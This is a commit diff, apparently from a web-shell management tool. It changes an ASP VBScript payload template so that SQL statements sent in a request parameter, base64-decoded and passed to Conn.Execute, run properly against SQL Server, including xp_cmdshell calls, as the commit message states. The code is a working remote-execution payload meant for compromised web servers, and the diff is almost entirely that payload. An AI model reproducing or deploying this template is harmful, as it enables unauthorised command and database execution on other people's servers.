Commit ecfba16d authored by ca3tie1's avatar ca3tie1 Committed by Medicean

解决ASP连SQLSERVER执行xp_cmdshell爆"驱动程序不支持所需的属性的"问题

parent bf7f6cce
...@@ -99,26 +99,29 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -99,26 +99,29 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
Response.Write HD&Err.Description&CO&RN: Response.Write HD&Err.Description&CO&RN:
Err.Clear: Err.Clear:
Else: Else:
Set Rs=CreateObject("Adodb.Recordset"): Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):
Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
If Err Then: If Err Then:
Response.Write HD&Err.Number&":"&Err.Description&CO&RN: Response.Write HD&Err.Number&":"&Err.Description&CO&RN:
Err.Clear: Err.Clear:
Else: Else:
Dim FN: Dim FN:
FN=Rs.Fields.Count-1: FN=Rs.Fields.Count-1:
For n=0 To FN: If FN=-1 Then:
Response.Write Rs.Fields.Item(n).Name&CO: Response.Write HD&"Execute Successfully!"&CO&RN:
Next: Else:
Response.Write RN:
Do While Not(Rs.Eof Or Rs.Bof):
For n=0 To FN: For n=0 To FN:
Response.Write Rs(n): Response.Write Rs.Fields.Item(n).Name&CO:
Response.Write CO:
Next: Next:
Response.Write RN: Response.Write RN:
Rs.MoveNext: Do While Not(Rs.Eof Or Rs.Bof):
Loop: For n=0 To FN:
Response.Write Rs(n):
Response.Write CO:
Next:
Response.Write RN:
Rs.MoveNext:
Loop:
End If:
End If: End If:
Set Rs=Nothing: Set Rs=Nothing:
Conn.Close: Conn.Close:
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment